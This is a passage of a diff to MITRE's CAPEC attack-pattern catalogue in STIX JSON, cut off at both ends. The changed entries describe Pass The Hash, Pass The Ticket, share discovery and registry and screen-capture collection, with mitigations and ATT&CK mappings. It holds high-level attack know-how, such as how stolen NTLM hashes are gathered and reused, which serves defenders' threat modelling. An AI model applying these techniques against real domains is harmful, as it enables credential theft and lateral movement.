SCRNSAVE.exe program to run more frequently." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--15e6b769-4cbd-4c39-b774-b45673fd55de" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--d9181e23-1afd-428e-a52a-e276bea7a05c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-642-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Insure that binaries commonly used by the system have the correct file permissions. Set operating system policies that restrict privilege elevation of non-Administrators. Use auditing tools to observe changes to system services.", - "type": "course-of-action", - "id": "course-of-action--d9181e23-1afd-428e-a52a-e276bea7a05c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--85cbecfa-a889-485b-8231-630bdae5ed86", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--85cbecfa-a889-485b-8231-630bdae5ed86", "source_ref": "course-of-action--d9181e23-1afd-428e-a52a-e276bea7a05c", "relationship_type": "mitigates", "target_ref": "attack-pattern--15e6b769-4cbd-4c39-b774-b45673fd55de" }, { + "id": "attack-pattern--9d08b257-08f6-42e3-ad7e-41aaf07789a1", "name": "Identify Shared Files/Directories on System", "description": "An adversary discovers connections between systems by exploiting the target system's standard practice of revealing them in searchable, common areas. Through the identification of shared folders/drives between systems, the adversary may further their goals of locating and collecting sensitive information/files, or map potential routes for lateral movement within the network.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -40156,7 +44003,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -40172,6 +44019,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "Network Share Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1135", + "external_id": "T1135" } ], "x_capec_likelihood_of_attack": "Medium", @@ -40180,7 +44033,7 @@ "The adversary must have obtained logical access to the system by some means (e.g., via obtained credentials or planting malware on the system)." ], "x_capec_skills_required": { - "Low": "Once the adversary has logical access (which can potentially require high knowledge and skill level), the adversary needs only the capability and facility to navigate the system through the OS graphical user interface or the command line. The adversary, or his malware, can simply employ a set of commands that search for shared drives on the system (e.g., net view \\\\remote system or net share)." + "Low": "Once the adversary has logical access (which can potentially require high knowledge and skill level), the adversary needs only the capability and facility to navigate the system through the OS graphical user interface or the command line. The adversary, or their malware, can simply employ a set of commands that search for shared drives on the system (e.g., net view \\\\remote system or net share)." }, "x_capec_resources_required": [ "None: No specialized resources are required to execute this type of attack." @@ -40192,44 +44045,46 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9d08b257-08f6-42e3-ad7e-41aaf07789a1" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-643-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Identify unnecessary system utilities or potentially malicious software that may contain functionality to identify network share information, and audit and/or block them by using whitelisting tools.", + "description": "Identify unnecessary system utilities or potentially malicious software that may contain functionality to identify network share information, and audit and/or block them by using allowlist tools.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--8e740459-9727-49fa-9493-7b87f0cf8b9f" + "id": "course-of-action--60e5229d-6c9b-4ea1-a862-7a6797b8c070" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ff1e97cd-9c31-4aec-80f1-d7c2d678ee28", - "source_ref": "course-of-action--8e740459-9727-49fa-9493-7b87f0cf8b9f", + "id": "relationship--877214d8-d718-4bc4-9edf-9b6d4d5bad4a", + "source_ref": "course-of-action--60e5229d-6c9b-4ea1-a862-7a6797b8c070", "relationship_type": "mitigates", "target_ref": "attack-pattern--9d08b257-08f6-42e3-ad7e-41aaf07789a1" }, { + "id": "attack-pattern--056a463d-6303-438e-a43f-992cee52fb95", "name": "Use of Captured Hashes (Pass The Hash)", - "description": "An adversary uses stolen hash values for a user's credentials (username and password) to access systems managed under the same credential framwork that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols. When authenticating via LM or NTLM, the hashed credentials' associated plaintext credentials are not requried for successful authentication. Therefore, if an adversary can obtain the hashed credentials of a user, he can then pass these hash values to the server or service to authenticate without needing to brute-force the hashes to obtain their cleartext values. The adversary can then impersonate the user and laterally move within the network. This technique can be performed against any operating system which leverages the LM or NTLM protocols.", + "description": "An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential (e.g. userID and password) hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols. When authenticating via LM or NTLM, an authenticating account's plaintext credentials are not required by the protocols for successful authentication. Instead, the hashed credentials are used to determine if an authentication attempt is valid. If an adversary can obtain an account's hashed credentials, the hash values can then be passed to a system or service to authenticate, without needing to brute-force the hashes to obtain their cleartext values. Successful Pass The Hash attacks result in the adversary fully authenticating as the targeted account, which can further allow the adversary to laterally move within the network, impersonate a legitimate user, and/or download/install malware to systems within the domain. This technique can be performed against any operating system that leverages the LM or NTLM protocols even if the operating system is not Windows-based, since these systems/accounts may still authenticate to a Windows domain.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -40240,50 +44095,128 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/522.html", "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/836.html", + "external_id": "CWE-836" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/294.html", + "external_id": "CWE-294" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "ATTACK", + "description": "Use Alternate Authentication Material:Pass The Hash", + "url": "https://attack.mitre.org/wiki/Technique/T1550/002", + "external_id": "T1550.002" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Dan Goodin, Attackers can use Zoom to steal users\u2019 Windows credentials with no warning, 2020--04---01, Ars Technica", + "url": "https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/", + "external_id": "REF-575" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Mor Levi, Assaf Dahan, Amit Serper, Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers, 2019--06---25, CyberReason", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", + "external_id": "REF-580" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Mitigating Pass-the-Hash and Other Credential Theft v2, Microsoft Corporation", + "url": "https://docs.microsoft.com/en-us/previous-versions/dn785092(v=msdn.10)?redirectedfrom=MSDN", + "external_id": "REF-581" + }, + { + "source_name": "reference_from_CAPEC", + "description": "How Pass-the-Hash works, Microsoft Corporation", + "url": "https://docs.microsoft.com/en-us/previous-versions/dn785092(v=msdn.10)?redirectedfrom=MSDN", + "external_id": "REF-582" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Bashar Ewaida, Pass-the-hash attacks: Tools and Mitigation, 2010--02---23, The SANS Institute", + "url": "https://www.sans.org/reading-room/whitepapers/testing/paper/33283", + "external_id": "REF-583" } ], - "x_capec_likelihood_of_attack": "Low", + "x_capec_likelihood_of_attack": "Medium", "x_capec_typical_severity": "High", "x_capec_prerequisites": [ - "The adversary needs to first obtain the hashed credentials of a user, via the use of a tool, prior to executing this attack.", - "The victim system must allow Lan Man or NT Lan Man authentication." + "The system/application is connected to the Windows domain.", + "The system/application leverages the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.", + "The adversary possesses known Windows credential hash value pairs that exist on the target domain." ], "x_capec_skills_required": { - "Low": "Determine if Lan Man and NT Lan Man authentication is allowed on the server.", - "High": "The adversary uses a third-party tool to obtain hashed credentials to execute the attack." + "Low": "Once an adversary obtains a known Windows credential hash value pair, leveraging it is trivial." }, + "x_capec_resources_required": [ + "A list of known Window credential hash value pairs for the targeted domain." + ], "x_capec_consequences": { - "Integrity": [ + "Confidentiality": [ + "Gain Privileges", + "Read Data" + ], + "Access_Control": [ "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ], + "Authorization": [ + "Read Data" + ], + "Integrity": [ + "Modify Data" ] }, "x_capec_abstraction": "Detailed", + "x_capec_example_instances": [ + "Adversaries exploited the Zoom video conferencing application during the 2020 COVID-19 pandemic to exfiltrate Windows domain credential hash value pairs from a target system. The attack entailed sending Universal Naming Convention (UNC) paths within the Zoom chat window of an unprotected Zoom call. If the victim clicked on the link, their Windows usernames and the corresponding Net-NTLM-v2 hashes were sent to the address contained in the link. The adversary was then able to infiltrate and laterally move within the Windows domain by passing the acquired credentials to shared network resources. This further provided adversaries with access to Outlook servers and network storage devices. [REF-575]", + "Operation Soft Cell, which has been underway since at least 2012, leveraged a modified Mimikatz that dumped NTLM hashes. The acquired hashes were then used to authenticate to other systems within the network via Pass The Hash attacks. [REF-580]" + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Acquire known Windows credential hash value pairs: The adversary must obtain known Windows credential hash value pairs of accounts that exist on the domain.

    2. Techniques
    An adversary purchases breached Windows credential hash value pairs from the dark web.
    An adversary conducts a sniffing attack to steal Windows credential hash value pairs as they are transmitted.
    An adversary gains access to a Windows domain system/files and exfiltrates Windows credential hash value pairs.
    An adversary examines outward-facing configuration and properties files to discover hardcoded Windows credential hash value pairs.

Experiment

  1. Attempt domain authentication: Try each Windows credential hash value pair until the target grants access.

    2. Techniques
    Manually or automatically enter each Windows credential hash value pair through the target's interface.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system, or to laterally move within the domain

  2. Spoofing: Malicious data can be injected into the target system or into other systems on the domain. The adversary can also pose as a legitimate domain user to perform social engineering attacks.

  3. Data Exfiltration: The adversary can obtain sensitive data contained within domain systems or applications.

", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--056a463d-6303-438e-a43f-992cee52fb95" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--30748f93-76e1-4493-b028-a09a3ae0fe12", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-644-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Prevent the use of Lan Man and NT Lan Man authentication on severs and apply patch KB2871997 to Windows 7 and higher systems.", - "type": "course-of-action", - "id": "course-of-action--30748f93-76e1-4493-b028-a09a3ae0fe12" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--fbe2baa0-43b4-4f18-8464-37c77c73232d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fbe2baa0-43b4-4f18-8464-37c77c73232d", "source_ref": "course-of-action--30748f93-76e1-4493-b028-a09a3ae0fe12", "relationship_type": "mitigates", "target_ref": "attack-pattern--056a463d-6303-438e-a43f-992cee52fb95" @@ -40291,24 +44224,27 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", - "name": "coa-644-1", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Monitor system and domain logs for abnormal credential access.", - "type": "course-of-action", - "id": "course-of-action--ab6c4df3-7bf9-4fdd-8c2a-9055c0aea441" + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--ee496b22-cfdc-468f-9798-52b53cce0d3b", + "source_ref": "course-of-action--b8f274c3-95ed-4968-afdc-6a8a87a6fb19", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--056a463d-6303-438e-a43f-992cee52fb95" }, { + "id": "relationship--885bfaa4-7ef5-4cd8-b4b3-eeaa867bc6d9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--885bfaa4-7ef5-4cd8-b4b3-eeaa867bc6d9", "source_ref": "course-of-action--ab6c4df3-7bf9-4fdd-8c2a-9055c0aea441", "relationship_type": "mitigates", "target_ref": "attack-pattern--056a463d-6303-438e-a43f-992cee52fb95" @@ -40316,37 +44252,54 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", - "name": "coa-644-2", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--5c5bf1ff-d38b-4163-b8d6-d921aed35652", + "source_ref": "course-of-action--93ed0e66-1693-44b2-b416-bee8db1ad4c2", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--056a463d-6303-438e-a43f-992cee52fb95" + }, + { + "id": "course-of-action--dd700183-d761-44fa-ac56-b6a20cc2cb3c", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-644-4", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Leverage system penetration testing and other defense in depth methods to determine vulnerable systems within a domain.", - "type": "course-of-action", - "id": "course-of-action--dd700183-d761-44fa-ac56-b6a20cc2cb3c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--0df6edf6-1157-43d2-8e50-4b6184d75a60", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0df6edf6-1157-43d2-8e50-4b6184d75a60", "source_ref": "course-of-action--dd700183-d761-44fa-ac56-b6a20cc2cb3c", "relationship_type": "mitigates", "target_ref": "attack-pattern--056a463d-6303-438e-a43f-992cee52fb95" }, { + "id": "attack-pattern--05740120-81ef-4224-9805-2f0b54d1111f", "name": "Use of Captured Tickets (Pass The Ticket)", - "description": "An adversary uses stolen Kerberos tickets to access systems that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.", + "description": "An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -40357,6 +44310,28 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/522.html", "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/294.html", + "external_id": "CWE-294" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "ATTACK", + "description": "Use Alternate Authentication Material:Pass The Ticket", + "url": "https://attack.mitre.org/wiki/Technique/T1550/003", + "external_id": "T1550.003" + }, + { + "source_name": "reference_from_CAPEC", + "description": "BRONZE BUTLER Targets Japanese Enterprises, 2017--10---12, Secureworks\u00ae Counter Threat Unit\u2122 Threat Intelligence", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", + "external_id": "REF-584" } ], "x_capec_likelihood_of_attack": "Low", @@ -40375,50 +44350,56 @@ ] }, "x_capec_abstraction": "Detailed", + "x_capec_example_instances": [ + "Bronze Butler (also known as Tick), has been shown to leverage forged Kerberos Ticket Granting Tickets (TGTs) and Ticket Granting Service (TGS) tickets to maintain administrative access on a number of systems. [REF-584]" + ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--05740120-81ef-4224-9805-2f0b54d1111f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--cc52780c-b04c-4940-a2d6-0498907ce5cf", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-645-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Reset the built-in KRBTGT account password twice to invalidate the existence of any current Golden Tickets and any tickets derived from them.", - "type": "course-of-action", - "id": "course-of-action--cc52780c-b04c-4940-a2d6-0498907ce5cf" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--5b6333f5-1f2a-4b5f-94e2-17a344115ffb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5b6333f5-1f2a-4b5f-94e2-17a344115ffb", "source_ref": "course-of-action--cc52780c-b04c-4940-a2d6-0498907ce5cf", "relationship_type": "mitigates", "target_ref": "attack-pattern--05740120-81ef-4224-9805-2f0b54d1111f" }, { + "id": "relationship--b8766158-fd84-4765-94da-1c65d865c83b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b8766158-fd84-4765-94da-1c65d865c83b", "source_ref": "course-of-action--0257f904-bcb7-445e-9ef7-f9d294e49f67", "relationship_type": "mitigates", "target_ref": "attack-pattern--05740120-81ef-4224-9805-2f0b54d1111f" }, { + "id": "attack-pattern--658d6220-f15c-44fb-8690-1d14088ed637", "name": "Peripheral Footprinting", "description": "Adversaries may attempt to obtain information about attached peripheral devices and components connected to a computer system. Examples may include discovering the presence of iOS devices by searching for backups, analyzing the Windows registry to determine what USB devices have been connected, or infecting a victim system with malware to report when a USB device has been connected. This may allow the adversary to gain additional insight about the system or network environment, which may be useful in constructing further attacks.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -40426,7 +44407,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -40437,6 +44418,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "Peripheral Device Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1120", + "external_id": "T1120" } ], "x_capec_likelihood_of_attack": "Low", @@ -40449,24 +44436,25 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--658d6220-f15c-44fb-8690-1d14088ed637" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fd5999cd-471e-42d6-a298-19715c48eeb3", - "source_ref": "course-of-action--8ec791fe-a36a-4b9c-9c52-2f867c466c2f", + "id": "relationship--d9f6ac50-d71a-415a-a9f3-6b159c887206", + "source_ref": "course-of-action--a2404315-1d87-4e47-a8e4-c6b2cfe457d8", "relationship_type": "mitigates", "target_ref": "attack-pattern--658d6220-f15c-44fb-8690-1d14088ed637" }, { + "id": "attack-pattern--ad242ccf-3578-4787-937c-22eb0ede3fb6", "name": "Collect Data from Registries", "description": "An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -40474,7 +44462,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-05-15T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -40485,6 +44473,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/285.html", "external_id": "CWE-285" + }, + { + "source_name": "ATTACK", + "description": "Unsecured Credentials:Credentials in Registry", + "url": "https://attack.mitre.org/wiki/Technique/T1552/002", + "external_id": "T1552.002" } ], "x_capec_likelihood_of_attack": "Medium", @@ -40506,19 +44500,19 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ad242ccf-3578-4787-937c-22eb0ede3fb6" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--46c95866-35f0-4eb3-8236-3cf76d28c354", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-15T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--46c95866-35f0-4eb3-8236-3cf76d28c354", "source_ref": "course-of-action--9c745fa6-97fd-4aa7-830c-2522e1df5ea6", "relationship_type": "mitigates", "target_ref": "attack-pattern--ad242ccf-3578-4787-937c-22eb0ede3fb6" @@ -40526,17 +44520,32 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-15T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-647-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "description": "Employ robust identification and audit/blocking via using an allowlist of applications on your system. Unnecessary applications, utilities, and configurations will have a presence in the system registry that can be leveraged by an adversary through this attack pattern.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--b20b8831-79c4-401b-9767-4c506d59c2d9" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2018-05-15T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d52d3c30-f17a-466e-bd6f-63c932d51a75", - "source_ref": "course-of-action--d9f684af-93bf-4585-8c82-1995b8554117", + "id": "relationship--df86fcb3-a484-4707-a8c7-d61b784214bb", + "source_ref": "course-of-action--b20b8831-79c4-401b-9767-4c506d59c2d9", "relationship_type": "mitigates", "target_ref": "attack-pattern--ad242ccf-3578-4787-937c-22eb0ede3fb6" }, { + "id": "attack-pattern--140142cc-28cb-4506-bce6-b44128b7b9a7", "name": "Collect Data from Screen Capture", "description": "An adversary gathers sensitive information by exploiting the system's screen capture functionality. Through screenshots, the adversary aims to see what happens on the screen over the course of an operation. The adversary can leverage information gathered in order to carry out further attacks.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -40544,7 +44553,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -40555,6 +44564,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/267.html", "external_id": "CWE-267" + }, + { + "source_name": "ATTACK", + "description": "Screen Capture", + "url": "https://attack.mitre.org/wiki/Technique/T1113", + "external_id": "T1113" } ], "x_capec_likelihood_of_attack": "Medium", @@ -40575,61 +44590,65 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--140142cc-28cb-4506-bce6-b44128b7b9a7" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-648-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting tools.", + "description": "Identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using allowlist tools.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--d479574b-3147-4a9c-ab44-16d16647da08" + "id": "course-of-action--c4331607-533f-4210-910b-2ce3a63f070a" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3a37c964-ea54-4a5f-9cde-ef7ece6b9c4c", - "source_ref": "course-of-action--d479574b-3147-4a9c-ab44-16d16647da08", + "id": "relationship--6e4ee62c-e443-4037-aa6a-3ddddcf93324", + "source_ref": "course-of-action--c4331607-533f-4210-910b-2ce3a63f070a", "relationship_type": "mitigates", "target_ref": "attack-pattern--140142cc-28cb-4506-bce6-b44128b7b9a7" }, { + "id": "course-of-action--ec0a0b82-9297-4d4b-8a03-975dc1cdd2e7", "created_by_ref": 